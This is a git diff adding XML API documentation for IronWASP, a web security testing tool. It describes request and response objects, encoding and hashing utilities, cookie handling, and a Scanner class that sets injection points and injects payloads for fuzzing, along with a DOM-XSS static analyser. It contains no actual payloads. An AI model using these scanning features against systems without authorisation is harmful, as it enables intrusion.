+ The Xml must be converted in to array + + + string[,] + Converts the Xml input in to a two-dimensional array and returns it. The two-dimensional array holds the values in the Xml and the node path of the values. This information is used for fuzzing the Xml. + + + InjectInXml(string Xml, int InjectionPosition, string ValueToString) + Static + + + string + Xml + The Xml in to which a value must be injected + + + int + InjectionPosition + The position in the Xml where the value must be injected. This is the index of the value in the two-dimensional array returned by FormatPlugin.XmlToArray(Xml) + + + string + ValueToString + The value that must be injected in to the Xml + + + string + Inserts a value in to the specified position in the Xml and returns the updated Xml. This method is used in fuzzing Xml based data or data of any format that gets converted to Xml by the approriate FormatPlugin + + + + + SessionPlugin + Non-Static + An IronPython or IronRuby script that would contain methods to define a specific web application's custom behaviour. + + + + + Name + string + Non-Static + Name of the Session Plugin + + + Description + string + Non-Static + Information about the plugin. + + + Version + string + Non-Static + Version number of the Plugin + + + + + Add(SessionPlugin NewSessionPluginObject) + Static + + + SessionPlugin + NewSessionPluginObject + New SessionPlugin Object + + + Void + Adds a new Session Plugin to IronWASP's internal list + + + Get(string PluginName) + Static + + + string + PluginName + Name of the SessionPlugin + + + FormatPlugin + Returns a SessionPlugin of the given name from IronWASP's internal list. + + + List() + Static + + string[] + Returns the names of all SessionPlugins currently present in IronWASP's internal list. + + + + + Scanner + Non-Static + A class to create a custom security scanner by determining injection points and active plugins. + + + Scanner(Request RequestToScan) + Creates a new Scanner object based on the Request + + + Request + RequestToScan + A request that would be scanned by the scanner object. + + + + + + + SessionHandler + SessionPlugin + Non-Static + Session plugin assosiated with this scanner to control its behaviour + + + BodyFormat + FormatPlugin + Non-Static + Format Plugin associated with this scanner to represent the body of the scanner's request. + + + InjectedSection + string + Non-Static + Name of the section of the request that is being currently injected. Possible values are URL, Query, Body, Cookie and Headers. [i[br]] (Only to be called within the ActivePlugin script) + + + InjectedParameter + string + Non-Static + Name of the parameter that is being currently injected. [i[br]] (Only to be called within the ActivePlugin script) + + + InjectedUrlPathPosition + int + Non-Static + The index of the UrlPathParts that is being currently injected. [i[br]] (Only to be called within the ActivePlugin script) + + + PreInjectionParameterValue + string + Non-Static + Original value of the parameter that is being currently injected. [i[br]] (Only to be called within the ActivePlugin script) + + + InjectedRequest + Request + Non-Static + Request sent to the serer with some parameter injected. [i[br]] (Only to be called within the ActivePlugin script) + + + InjectionResponse + Response + Non-Static + Response returned from the server for InjectedRequest. [i[br]] (Only to be called within the ActivePlugin script) + + + + + AddCheck(string ActivePluginName) + Non-Static + + + string + ActivePluginName + Name of the active plugin that must be included in the scan. + + + Void + Includes an Active Plugin to the scanner and calls it at scan time. + + + RemoveCheck(string ActivePluginName) + Non-Static + + + string + ActivePluginName + Name of the ActivePlugin to be removed from the scanner + + + Void + Removes the Active Plugins from the list of checks the scanner calls at scan time. + + + ShowChecks() + Non-Static + + string[] + Returns the names of all ActivePlugins that will be called by the Scanner at scan time. + + + ClearChecks() + Non-Static + + Void + Removes all the Active Plugins that would have been called by the Scanner at scan time. + + + InjectAll() + Non-Static + + Void + Sets injection points in all Url positions, Query, Body, Cookie and Header parameters. + + + InjectUrl() + Non-Static + + Void + Sets injection points in all Url positions. + + + InjectUrl(int UrlPosition) + Non-Static + + + int + UrlPosition + Zero based value of the Url position that must be injected + + + Void + Sets an injection point at the specified Url position. + + + InjectQuery() + Non-Static + + Void + Sets injection points in all Query parameter positions. + + + InjectQuery(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + Void + Sets an injection point at all occurances of the given parameter name in the query. + + + InjectQuery(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + Void + Sets an injection point at the specified occurance of the given parameter name in the query if multiple parameter exist with the same name. + + + InjectBody() + Non-Static + + Void + Sets injection points in all Body parameter positions. + + + InjectBody(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + Void + Sets an injection point at all occurances of the given parameter name in the Body. + + + InjectBody(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + Void + Sets an injection point at the specified occurance of the given parameter name in the body if multiple parameter exist with the same name. + + + InjectBody(int XmlArrayInjectionPoint) + Non-Static + + + int + XmlArrayInjectionPoint + A position inside the XmlInjectionPoints array + + + Void + If a FormatPlugin is set then sets an injection point the specified point in the XmlInjectionPoints array. + + + InjectCookie() + Non-Static + + Void + Sets injection points in all Cookie parameter positions. + + + InjectCookie(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + Void + Sets an injection point at all occurances of the given parameter name in the Cookie. + + + InjectCookie(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + Void + Sets an injection point at the specified occurance of the given parameter name in the Cookie if multiple parameter exist with the same name. + + + InjectHeaders() + Non-Static + + Void + Sets injection points in all Headers parameter positions. + + + InjectHeaders(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + Void + Sets an injection point at all occurances of the given parameter name in the Headers. + + + InjectHeaders(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + Void + Sets an injection point at the specified occurance of the given parameter name in the Headers if multiple parameter exist with the same name. + + + LaunchScan() + Non-Static + + Void + Similar to Scan() but instead of performing the scan in the current thread it queues the scan job in the 'AutomatedScanning' section. The scan logs will be updated in the 'ScanLog' grid instead of the 'ScriptingLog' grid. + + + Inject(string Payload) + Non-Static + + + string + Payload + Payload to be injected + + + Response + Injects the payload in the section of the request where the current injection pointer lies and returns the corresponding response. [i[br]] (Only to be called within the ActivePlugin script) + + + + + IronJint + Static + A JavaScript static analyzer to check for DOM-based XSS issues + + + + + + + Trace(string JavaScriptCode) + Static + + + string + JavaScriptCode + The JavaScript code that must be analyzed + + + TraceResult + Analyzes the JavaScript code for instances where DOM XSS Sources and Sinks are present including instances where Sources are assigned to Sinks. The result of the analysis is stored in a TraceResult object and returned. + + + Trace(string JavaScriptCode, string Keyword) + Static + + + string + JavaScriptCode + The JavaScript code that must be analyzed + + + string + Keyword + The Keyword that must be traced through the JavaScript + + + TraceResult + Analyzes the JavaScript code for instances where the given keyword is assigned to DOM XSS Sinks. The result of the analysis is stored in a TraceResult object and returned. + + + IsExpressionStatement(string JavaScriptCode, string Keyword) + Static + + + string + JavaScriptCode + The JavaScript code that must be analyzed + + + string + Keyword + The string value that must be checked for being an expression statement. + + + bool + Parses the input JavaScript code and checks if the keyword appears inside the JavaScript as an expression statement. + + + Beautify(string JavaScriptCode) + Static + + + string + JavaScriptCode + The JavaScript code that must be beautified + + + string + Properly formats the input code and returns a more readable version + + + + + TraceResult + Non-Static + Represents the result of JavaScript static analysis performed using the Trace method of IronJint. + + + + + SourceLineNos + int[] + Non-Static + Line numbers that are tained by a DOM XSS source + + + SinkLineNos + int[] + Non-Static + Line numbers that are tained by a DOM XSS sink + + + SourceToSinkLineNos + int[] + Non-Static + Line numbers where a DOM XSS source is assigned to a DOM XSS sink. If this is the result of IronJint.Trace(code, keyword) then these are the lines where the keyword is assigned to a DOM XSS sink. + + + SourceLines + string[] + Non-Static + Lines that are tained by a DOM XSS source + + + SinkLines + string[] + Non-Static + Lines that are tained by a DOM XSS sink + + + SourceToSinkLines + string[] + Non-Static + Lines where a DOM XSS source is assigned to a DOM XSS sink. If this is the result of IronJint.Trace(code, keyword) then these are the lines where the keyword is assigned to a DOM XSS sink. + + + KeywordContexts + string[] + Non-Static + If this is the result of IronJint.Trace(code, keyword) then list of contexts in which the given keyword is present in the JavaScript code is returned. + + + Lines + string[] + Non-Static + All the lines of the cleaned up version of the input JavaScript code. + + + + + + + GlobalStore + Static + A store for all types of objects that can be accessed from any part of the tool. + + + + + + + Put(string Name, object ObjectToStore) + Static + + + string + Name + Name by which the object will be referred to inside the store + + + object + ObjectToStore + The object that must be stored + + + Void + Any object like Request, Response etc can be stored in this store and can be referred to by the name assigned to it. + + + Get(string Name) + Static + + + string + Name + Name of the object stored + + + object + Fetch the object from the store by providing its name. + + + Has(string Name) + Static + + + string + Name + Name of the object stored + + + bool + Returns a boolean indicating if an object by that name exists in the store. + + + Remove(string Name) + Static + + + string + Name + Name of the object stored + + + Void + Removes the object matching the name from the store. + + + + + ThreadStore + Static + A store for all types of objects that is specific to a thread on which it is called. Objects stored in a ThreadStore are only accessible to calls made from the same thread. + + + + + + + Put(string Name, object ObjectToStore) + Static + + + string + Name + Name by which the object will be referred to inside the store + + + object + ObjectToStore + The object that must be stored + + + Void + Any object like Request, Response etc can be stored in this store and can be referred to by the name assigned to it. + + + Get(string Name) + Static + + + string + Name + Name of the object stored + + + object + Fetch the object from the store by providing its name. + + + Has(string Name) + Static + + + string + Name + Name of the object stored + + + bool + Returns a boolean indicating if an object by that name exists in the store. + + + Remove(string Name) + Static + + + string + Name + Name of the object stored + + + Void + Removes the object matching the name from the store. + + + Clear() + Static + + + Void + Removes all the objects stored from calling thread. Objects stored from other threads are not affected. + + + ThisThread() + Static + + + int + Returns the Thread ID of the thread from this this call is made. + + + + + Config + Static + A class that holds some information about the tool. + + + + + Path + string + Static + [READ-ONLY]Returns the full path of the location of the IronWASP binary in the file system. + + + + + + Calls used to instantiate the Class. + Static and Non-Static variables available in the Class + Static and Non-Static Function calls available in the Class. + Members of the Enum class. + \ No newline at end of file diff --git a/APIdoc_Rb.xml b/APIdoc_Rb.xml new file mode 100644 index 0000000..3d2455e --- /dev/null +++ b/APIdoc_Rb.xml @@ -0,0 +1,2843 @@ + + + Request + Non-Static + Object that represents a HTTP request. [i[br]]Has methods to create and send HTTP requests. + + + Request.new(string FullUrl) + Creates Request object from Url, Request Method defaults to GET. + + + string + FullUrl + Url should include the hostname and scheme. [i[br]]Eg: http://ironwasp.org + + + + + Request.new(string Method, string FullUrl) + Creates Request object from Url and sets the mentioned method. + + + string + Method + Request method, Eg: GET or POST + + + string + FullUrl + Url should include the hostname and scheme. [i[br]]Eg: http://ironwasp.org + + + + + Request.new(string Method, string FullUrl, string BodyString) + Creates Request object from Url, sets the mentioned method and sets the body. + + + string + Method + Request method, Eg: GET or POST + + + string + FullUrl + Url should include the hostname and scheme. [i[br]]Eg: http://ironwasp.org/index.html + + + string + BodyString + Body of the request as string. + + + + + + + full_url + string + Non-Static + Entire Url along with scheme and hostname.[i[br]]Eg: http://ironwasp.org/index.html + + + url + string + Non-Static + Url without the scheme and hostname.[i[br]]Eg: /main/index.aspx?q=123 + + + url_path + string + Non-Static + The Path section of the Url without the QueryString.[i[br]]Eg: /main/index.aspx + + + url_path_parts + string[] + Non-Static + Array of strings where each element is a part of the UrlPath property.[i[br]]Eg: ['main','index.aspx'] + + + ssl + bool + Non-Static + Bool value stating if the request is a SSL request or not. [i[br]]Set this to True to create a SSL request. + + + http_method + string + Non-Static + HTTP Method of the Request. [i[br]]Eg: GET, POST etc. + + + http_version + string + Non-Static + Version number of the HTTP Request - HTTP/1.1 or HTTP/1.0 + + + query + Parameters + Non-Static + Contains the QueryString parameters in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + body + Parameters + Non-Static + Contains the Request Body parameters in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + cookie + Parameters + Non-Static + Contains the Cookie parameters in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + headers + Parameters + Non-Static + Contains the Request Headers in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + host + string + Non-Static + Hostname of the target server. [i[br]]Eg: www.ironwasp.org + + + has_body + bool + Non-Static + [READ-ONLY] Boolean value representing the presence of a Body in the Request. + + + body_string + string + Non-Static + Entire Body of the Request as a single string. [i[br]]Encoding charset used is taken from the Content-Type header or ISO-8859-1 is used if none is present. + + + binary_body_string + string + Non-Static + Entire Body of the Request as a Base64 encoded string. [i[br]]If a Binary Request body must be assigned then it can be assigned to this property or to the body_array property.[i[br]](IronWASP stores binary body as base64 string in its logs). + + + body_array + byte[] + Non-Static + Entire Body of the Request as a Byte Array. + + + body_length + int + Non-Static + Length of the Request Body. + + + cookie_string + string + Non-Static + Gives the value of the 'Cookie' header of the Request. [i[br]]This property can be assigned a new string to update the Cookie value as well. + + + content_type + string + Non-Static + Value of the Content-Type Header, including the Charset information(if present). + + + is_binary + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Request is in text or binary format. [i[br]] This property can be controlled by setting a suitable value in the HTTP API section of the config panel + + + response + Response + Non-Static + [READ-ONLY] Response object associated with this Request. [i[br]]Generated on calling the send_req() method. + + + + + send_req() + Non-Static + + response + Sends the request to the server and returns the Response object. [i[br]]Call blocks the thread. + + + follow(Response ResponseToFollow) + Non-Static + + + Response + ResponseToFollow + A 3xx response that must be followed + + + response + If the response status code is a 301, 302, 303 or 307 then it is followed else the response passed in is returned. + + + get_redirect(Response RedirectResponse) + Non-Static + + + Response + RedirectResponse + Response to the Request which contains a Redirect header + + + request + If the response status code is a 301, 302, 303 or 307 then the a Request object specific to follow the redirection is returned.[i[br]]If the Response is not a redirect then a null value is returned. + + + set_cookie(Response Res) + Non-Static + + + Response + Res + IronWASP Response object + + + none + Reads the contents of the Set-Cookie headers from the Response object and adds them as cookies in the Request. + + + set_cookie(SetCookie[] SetCookies) + Non-Static + + + SetCookie[] + SetCookies + A list of SetCookie objects. This is usually the SetCookies property of the IronWASP Response object. + + + none + Sets the Cookie of the request with the provided value. + + + set_cookie(SetCookie SetCookieObject) + Non-Static + + + SetCookie + SetCookieObject + A SetCookie object + + + none + Sets the Cookie of the request with the provided value. + + + set_cookie(CookieStore Store) + Non-Static + + + CookieStore + Store + CookieStore object where cookies are stored + + + none + Reads the CookieStore objects and the Cookies relevant to this Request are added. [i[br]]Revelant cookies are picked based on the Host, Path and Secure attributes of the cookies stored in the CookieStore. + + + get_body_encoding() + Non-Static + + string + Returns the Encoding Charset of the request from the Content-Type header. [i[br]]If no Charset is specified then ISO-8859-1 is returned. + + + get_headers_as_string() + Non-Static + + string + Returns the entire Request header section containing the method, url, HTTP version and headers as a single string. + + + to_string() + Non-Static + + string + Returns the entire Request as a single string. + + + to_binary_string() + Non-Static + + string + Returns the entire Request as a specially formatted string that preserves any binary content in the request body. + + + get_full_request_as_byte_array() + Non-Static + + byte_[] + Returns the entire Request header section containing the method, url, HTTP version and headers as a Byte Array. + + + from_proxy_log(int ID) + Static + + + int + ID + ID of the Request in the Proxy Log. + + + request + Creates a Request object from the specified record in the Proxy Log and returns it. + + + from_proxy_log() + Static + + request_[] + Creates an array of all Request objects from the Proxy Log and returns it. + + + from_test_log(int ID) + Static + + + int + ID + ID of the Request in the Manual Testing Log. + + + request + Creates a Request object from the specified record in the Manual Testing Log and returns it. + + + from_test_log() + Static + + request_[] + Creates an array of all Request objects from the Manual Testing Log and returns it. + + + from_probe_log(int ID) + Static + + + int + ID + ID of the Request in the Probe Log. + + + request + Creates a Request object from the specified record in the Probe Log (Crawler) and returns it. + + + from_probe_log() + Static + + request_[] + Creates an array of all Request objects from the Probe Log(Crawler) and returns it. + + + from_shell_log(int ID) + Static + + + int + ID + ID of the Request in the Scripting Shell Log. + + + request + Creates a Request object from the specified record in the Scripting Shell Log and returns it. + + + from_shell_log() + Static + + request_[] + Creates an array of all Request objects from the Scripting Shell Log and returns it. + + + from_scan_log(int ID) + Static + + + int + ID + ID of the Request in the 'Automated Scanning' Log. + + + request + Creates a Request object from the specified record in the 'Automated Scanning' Log and returns it. + + + from_scan_log() + Static + + request_[] + Creates an array of all Request objects from the 'Automated Scanning' Log and returns it. + + + from_string(string RequestString) + Static + + + string + RequestString + String representing the entire request, usually the output of the to_string() method. + + + request + Creates a Request object from the string and returns it. + + + from_binary_string(string RequestBinaryString) + Static + + + string + RequestString + Specially formatted binary string representing the entire request, the output of the to_binary_string() method. + + + request + Creates a Request object from the string and returns it. + + + get_id() + Non-Static + + int + Returns the ID of the Request object in its respective log. + + + + + Response + Non-Static + Object that represents a HTTP response. Has methods to read and analyze the response. + + + + + code + int + Non-Static + [READ-ONLY] Status code of the response. [i[br]]Eg: 200 + + + status + string + Non-Static + [READ-ONLY] Status description of the response. [i[br]]Eg: OK + + + http_version + string + Non-Static + [READ-ONLY] HTTP Version of the response.[i[br]]Eg: HTTP/1.1 + + + set_cookies + SetCookie[] + Non-Static + A collection of SetCookie objects. This is built by parsing the 'Set-Cookie' headers in the Response + + + headers + Parameters + Non-Static + Contains the Request Headers in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + is_binary + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is in text or binary format. [i[br]] This property can be controlled by setting a suitable value in the HTTP API section of the config panel + + + has_body + bool + Non-Static + [READ-ONLY] Boolean value representing the presence of a Body in the Response. + + + body_string + string + Non-Static + Body of the response represented as a string. + + + binary_body_string + string + Non-Static + Body of the response represented as a Base64 encoded string. + + + body_array + byte[] + Non-Static + Body of the response represented as a Byte Array. + + + body_encoding + string + Non-Static + Content Encoding used for the Response Body. + + + html + HTML + Non-Static + Body of the Response represented as a HTML object. + + + is_html + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is HTML text or not. + + + is_java_script + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid JavaScript text or not. + + + is_css + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid CSS text or not. + + + is_xml + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid XML text or not. + + + is_json + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid JSON text or not. + + + + + to_string() + Non-Static + + string + Returns the entire Response as a single string. + + + + + Session + Non-Static + Represents an HTTP transaction, contains a Request and a Response object. + + + + + request + Request + Non-Static + The Request object stored inside the Session. + + + response + Response + Non-Static + The Response corresponding to the Request object, if available. + + + + + from_proxy_log(int ID) + Static + + + int + ID + ID of the Session in the Proxy Log. + + + session + Creates an Session object from the specified record in the Proxy Log and returns it. + + + from_proxy_log() + Static + + session_[] + Creates an array of all Session objects from the Proxy Log and returns it. + + + from_test_log(int ID) + Static + + + int + ID + ID of the Session in the Manual Testing Log. + + + session + Creates an Session object from the specified record in the Manual Testing Log and returns it. + + + from_test_log() + Static + + session_[] + Creates an array of all Session objects from the Manual Testing Log and returns it. + + + from_probe_log(int ID) + Static + + + int + ID + ID of the Session in the Probe Log. + + + session + Creates an Session object from the specified record in the Probe Log(Crawler) and returns it. + + + from_probe_log() + Static + + session_[] + Creates an array of all Session objects from the Probe Log(Crawler) and returns it. + + + from_shell_log(int ID) + Static + + + int + ID + ID of the Session in the Scripting Shell Log. + + + session + Creates an Session object from the specified record in the Scripting Shell Log and returns it. + + + from_shell_log() + Static + + session_[] + Creates an array of all Session objects from the Scripting Shell Log and returns it. + + + from_scan_log(int ID) + Static + + + int + ID + ID of the Session in the 'Automated Scanning' Log. + + + session + Creates an Session object from the specified record in the 'Automated Scanning' Log and returns it. + + + from_scan_log() + Static + + session_[] + Creates an array of all Session objects from the 'Automated Scanning' Log and returns it. + + + get_id() + Non-Static + + int + Returns the ID of the Session object in its respective log. + + + + + Parameters + Non-Static + Base class for the QueryParameters, BodyParameters, HeaderParameters and CookieParameter classes. Used to store Key-Value pairs. Key is a string and Value is a list of strings.[i[br]] The Keys for HeaderParameters are case-insensitive, for others it is case-sensitive. + + + + + count + int + Non-Static + Number of Parameters present in this object. + + + + + get(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string + Returns the value of the parameter with the given name in the same decoded form as the application would see it. [i[br]]For example in the Url 'http://example.org/a?q=a%23b' the value of Query parameter 'q' will be returned as 'a#b' by the Get method as it will properly decode it before returning. + + + raw_get(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string + Returns the raw value of the parameter with the given name, as it appears in the HTTP Request string that is sent over the network. [i[br]]Depending on if this is Query/Body/Header/Cookie parameter the value will be the appropriate encoded form.[i[br]]For example in the Url 'http://example.org/a?q=a%23b' the value of Query parameter 'q' will be returned as 'a%23b' by RawGet method, whereas the Get method would decode it and return as 'a#b'. + + + get_names() + Non-Static + + string_[] + Returns the Names of all the parameters as a list. The form of parameter names is the same decoded form as the application would see it.[i[br]]For example in the Url 'http://example.org/a?q%23r=ab' the value of Query parameter name will be returned as 'q#r' by GetNames method. + + + raw_get_names() + Non-Static + + string_[] + Returns the Names of all the parameters as a list. The form of the parameter names is as it appears in the HTTP Request string that is sent over the network. [i[br]]Depending on if this is Query/Body/Header/Cookie parameter name the value will be the appropriate encoded form.[i[br]]For example in the Url 'http://example.org/a?q%23r=ab' the value of Query parameter name will be returned as 'q%23r' by RawGetNames method, whereas the GetNames method would decode it and return as 'q#r'. + + + get_all(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string_[] + Returns all values of the parameters with the given name. The form of the parameter values is the same decoded form as the application would see it(Refer Get for example). [i[br]]Used when there are two or more parameters with the same name. + + + raw_get_all(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string_[] + Returns all values of the parameters with the given name. The form of the parameter values is as they appear in the HTTP Request string that is sent over the network (Refer RawGet for example).[i[br]]Used when there are two or more parameters with the same name. + + + set(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the decoded form you want the application to see it. [i[br]]Eg: If set('q', 'a+b') is called on Query parameter of a Request then the in the Url it would become '?q=a%2bb' and so the value of q will be read by the application as 'a+b', as originally set. + + + void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + raw_set(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. [i[br]]Eg: If raw_set('q', 'a+b') is called on Query parameter of a Request then in the Url it would become '?q=a+b' and so the value of q will be read by the application as 'a b'. + + + void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + set_at(string Name, int SubParameterPosition, string Value) + Non-Static + + + string + Name + Name of the parameter + + + int + SubParameterPosition + When there are two or more parameters with the same name then this indicates the zero-based index of the parameter position that must be set + + + string + Value + Value of the parameter in the decoded form you want the application to see it. + + + void + Adds the Name/Value pair to the parameters list at a specified position if two or more parameters exist with the same name. [i[br]] If a parameter with that name exisits then it is overwritten. + + + raw_set_at(string Name, int SubParameterPosition, string Value) + Non-Static + + + string + Name + Name of the parameter + + + int + SubParameterPosition + When there are two or more parameters with the same name then this indicates the zero-based index of the parameter position that must be set + + + string + Value + Value of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. + + + void + Adds the Name/Value pair to the parameters list at a specified position if two or more parameters exist with the same name. [i[br]] If a parameter with that name exisits then it is overwritten. + + + set(string Name, string[] Values) + Non-Static + + + string + Name + Name of the parameter + + + string[] + Values + Array of multiple values for the same parameter. The values are in the decoded form you want the application to see it. + + + void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + raw_set(string Name, string[] Values) + Non-Static + + + string + Name + Name of the parameter + + + string[] + Values + Array of multiple values for the same parameter. The values of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. + + + void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + add(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the decoded form you want the application to see it. [i[br]]Eg: If add('q', 'a+b') is called on Query parameter of a Request then the in the Url it would become '?q=a%2bb' and so the value of q will be read by the application as 'a+b', as originally set. + + + void + Adds the Name/Value pair to the parameters list. [i[br]]If a parameter with that name exisits then this value is appened to the exisiting list. + + + raw_add(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. [i[br]]Eg: If raw_add('q', 'a+b') is called on Query parameter of a Request then in the Url it would become '?q=a+b' and so the value of q will be read by the application as 'a b'. + + + void + Adds the Name/Value pair to the parameters list. [i[br]]If a parameter with that name exisits then this value is appened to the exisiting list. + + + remove(string Name) + Non-Static + + + string + Name + Name of the parameter + + + void + Removes the specified parameter from the list. + + + remove_all() + Non-Static + + void + Removes all parameters from the list. + + + has(string Name) + Non-Static + + + string + Name + Name of the parameter + + + bool + Checks if the given parameter name exists in the list and returns a bool value. + + + get_multis() + Non-Static + + string_[] + Returns the name of the parameters that have multiple values. [i[br]]Use GetAll to get those values. + + + + + Tools + Static + Collection of commonly required utilities + + + + + + + url_encode(string Input) + Static + + + string + Input + String to encode + + + string + Returns a Url-Encoded version of the input. + + + html_encode(string Input) + Static + + + string + Input + String to encode + + + string + Returns a HTML-encoded version of the input. + + + base64_encode(string Input) + Static + + + string + Input + String to encode + + + string + Returns a Base64-encoded version of the input. + + + to_hex(string Input) + Static + + + string + Input + String to encode + + + string + Converts all characters to HEX string and returns it. + + + to_hex(byte[] Input) + Static + + + byte[] + Input + ByteArray to encode + + + string + Converts all bytes to HEX string and returns it. + + + hex_encode(string Input) + Static + + + string + Input + String to encode + + + string + Converts all characters to HEX string with a preceding '%' and returns it. + + + xml_encode(string Input) + Static + + + string + Input + String to encode + + + string + Encodes the Input to make it suitable to be added as a XML node's value + + + url_decode(string Input) + Static + + + string + Input + String to decode + + + string + Returns a Url-Decoded version of the input. + + + html_decode(string Input) + Static + + + string + Input + String to decode + + + string + Returns a HTML-Decoded version of the input. + + + base64_decode(string Input) + Static + + + string + Input + String to decode + + + string + Returns a Base64-Decoded version of the input. + + + base64_decode_to_hex(string Input) + Static + + + string + Input + String to decode + + + string + Base64 decodes the Input and returns the results as a Hex string. + + + hex_decode(string Input) + Static + + + string + Input + String to decode + + + string + Converts all the HEX characters to ascii equivalents. + + + md5(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a MD5 hash of the input. + + + sha1(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA1 hash of the input. + + + sha256(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA256 hash of the input. + + + sha384(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA384 hash of the input. + + + sha512(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA512 hash of the input. + + + diff(string Source, string Destination) + Static + + + string + Source + String to be used as source text + + + string + Destination + String to be used as destination text + + + diff_result + Does a line-by-line Diff of two multi-line strings and returns a DiffResult object containg the result. + + + diff_line(string Source, string Destination) + Static + + + string + Source + String to be used as source text + + + string + Destination + String to be used as destination text + + + diff_result + Does a word-by-word Diff of single line strings and returns a DiffResult object containg the result. + + + diff_level(string Source, string Destination) + Static + + + string + Source + String to be used as source text + + + string + Destination + String to be used as destination text + + + int + Gives a value between 0 - 100 indicating the percent of difference between the two strings. 0 indicates the two strings are same. 100 indicates the two strings are fully different. + + + + + DiffResult + Non-Static + Represents a result of a Diff of two strings. Returned by the method - Tools.Diff() + + + + + deleted + int[] + Non-Static + Line numbers in the first string that are not present in the second string + + + missing_at + int[] + Non-Static + Line numbers in the second string where the deleted sections of first string should have appeared + + + inserted + int[] + Non-Static + Line numbers in the second string that contain sections not present in the first string + + + un_changed + int[] + Non-Static + Line numbers in the second string that remain the same as first string + + + deleted_sections + string[] + Non-Static + Sections of the first string that are not present in the second string + + + inserted_sections + string[] + Non-Static + Sections of the second string that are not present in the first string + + + un_changed_sections + string[] + Non-Static + Sections of the second string that are also present in the first string + + + + + + + AskUser + Static + Class that enables scripts to create UI pop-ups and get data from user at run-time. + + + + + + + for_bool(string Title, string Message) + Static + + + string + Title + Title of the message, shown at the top of the pop-up window + + + string + Message + Message to be shown to to the user + + + bool + Shows a pop-up window with the provided title and message along with a 'Yes' and a 'No' button and waits. Returns the user's input as a boolean. + + + for_string(string Title, string Message) + Static + + + string + Title + Title of the message, shown at the top of the pop-up window + + + string + Message + Message to be shown to to the user + + + bool + Shows a pop-up window with the provided title and message along with an input field and a 'Submit' button. Returns the user's input as a string. + + + for_string(string Title, string Message, string ImageFilePath) + Static + + + string + Title + Title of the message, shown at the top of the pop-up window + + + string + Message + Message to be shown to to the user + + + string + ImageFilePath + Full path to any image file on the local hard drive. Eg: Capcha images + + + bool + Shows a pop-up window with the provided title and message and also displays the image inside this window along with an input field and a 'Submit' button. Returns the user's input as a string. + + + + + SetCookie + Non-Static + Represents all the information available in a Set-Cookie header + + + SetCookie.new(string SetCookieHeaderString) + Parses the a Set-Cookie header and creates a object that gives easy access to the contained information + + + string + SetCookieHeaderString + The Set-Cookie header string + + + + + + + name + string + Non-Static + [READ-ONLY] Name of the key in the key-value pair included in the Set-Cookie header + + + value + string + Non-Static + [READ-ONLY] Value of the key included in the Set-Cookie header + + + full_string + string + Non-Static + [READ-ONLY] Returns the full Set-Cookie header as a single string + + + path + string + Non-Static + [READ-ONLY] Value of the Path attribute + + + domain + string + Non-Static + [READ-ONLY] Value of the Domain attribute + + + expires + string + Non-Static + [READ-ONLY] Value of the Expires attribute + + + max_age + string + Non-Static + [READ-ONLY] Value of the Max-Age attribute + + + http_only + bool + Non-Static + [READ-ONLY] Boolean value inditicating if the HttpOnly flag is set. + + + secure + bool + Non-Static + [READ-ONLY] Boolean value inditicating if the Secure flag is set. + + + comment + string + Non-Static + [READ-ONLY] Comments contained in the Set-Cookie header + + + version + string + Non-Static + [READ-ONLY] Version information from the Set-Cookie header + + + + + CookieStore + Non-Static + A store to save Cookies and add them to any Requests + + + CookieStore.new() + Creates a new empty Cookie Store object + + + + + + + + + add(Request Req, Response Res) + Non-Static + + + Request + Req + Request object that was sent to the server + + + Response + Res 